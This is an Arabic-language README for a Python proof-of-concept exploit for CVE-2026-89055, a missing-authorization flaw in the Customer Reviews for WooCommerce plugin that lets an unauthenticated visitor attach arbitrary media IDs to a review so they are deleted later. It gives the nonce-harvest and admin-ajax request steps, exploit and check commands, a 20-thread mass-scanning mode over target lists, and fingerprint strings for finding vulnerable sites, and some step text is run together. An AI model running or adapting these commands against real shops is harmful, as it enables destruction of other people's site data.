
Python check/exploit PoC لـ CVE-2026-89055، وهو تجاوز غير مُصادق عليه للتفويض في Customer Reviews for WooCommerce يتيح للمهاجمين ربط مرفقات مكتبة الوسائط العشوائية للحذف.
أداة إثبات مفهوم بلغة Python 3 لـ CVE-2026-89055 في إضافة Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — إضافة Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 معرّضة لثغرة غياب التفويض في معالج AJAX الخاص بـ نموذج المراجعة المحلي العام (cr_local_forms_submit). أي شخص يمتلك رابط مراجعة العميل (/cusrev/{13-hex formId}/ من بريد ما بعد الطلب) يمكنه الحصول على crSubmitNonce صالح وإرسال مراجعات قد تحتوي مصفوفة items[].media فيها على معرّفات مرفقات عشوائية من مكتبة الوسائط (صور المنتجات، الشعارات، ملفات PDF، إلخ). تُخزَّن هذه المعرّفات في بيانات وصفية لتعليق المراجعة؛ وعند حذف المراجعة نهائيًا (إفراغ سلة المهملات / تنظيف الرسائل المزعجة)، تستدعي الدالة delete_review_media_attachments() الدالة wp_delete_attachment() على كل معرّف مرتبط دون التحقق من الملكية. CVSS 3.1 9.1 حرجة (C:N/I:H/A:H). تم إصلاحها في > 5.120.0.
الفهرس المجتمعي: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → اقرأ crSubmitNonce وقيم data-itemid الخاصة بالمنتج.POST إلى admin-ajax.php: action=cr_local_forms_submit مع items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / video).delete_review_media_attachments كل ملف مرفق مرتبط.تنفّذ هذه الأداة الخطوتين 1–2 على الأهداف المصرّح بها. الخطوة 4 هي حدث دورة حياة للموقع/المسؤول (موثّق في المخرجات باسم chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| الملف | المعنى |
|---|---|
cve_2026_89055_results.jsonl | JSON لكل هدف |
hits.txt | المرشحون أو علامات الاستغلال |
candidates.jsonl | المضيفون المصابون بالإضافة والذين يحتاجون روابط النماذج |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
للاختبار المصرّح به فقط.
| المنصة | WordPress + WooCommerce |
| الإضافة | Customer Reviews for WooCommerce |
| المتأثرة | ≤ 5.120.0 |
| CWE | CWE-862 (غياب التفويض) |
| المتطلب المسبق | رابط عام /cusrev/{formId}/ (nonce على الصفحة) |
| التأثير | حذف عشوائي للوسائط بعد إفراغ المراجعة (السلامة + التوافر) |